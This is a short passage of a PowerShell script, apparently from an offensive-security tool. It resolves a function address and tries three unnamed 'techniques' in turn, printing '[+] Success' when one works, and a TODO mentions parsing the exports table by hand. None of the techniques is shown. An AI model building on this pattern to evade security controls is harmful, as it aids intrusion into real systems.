|
# TODO: Get rid of GetProcAddress in favor of manual Exports table parsing.
|
|
$addr = Get-ProcAddress $imageBase $name
|
|
|
|
# We attempt various techniques accordingly to how stable they are.
|
|
if (Technique1) {
|
|
Write-Host "[+] Success via technique 1."
|
|
return
|
|
}
|
|
|
|
if (Technique2) {
|
|
Write-Host "[+] Success via technique 2."
|
|
return
|
|
}
|
|
|
|
if (Technique3($addr)) {
|
|
Write-Host "[+] Success via technique 3."
|
|
return
|
|
}
|
|
}
|
|
|
|
Do-Stuff
|
|
}
|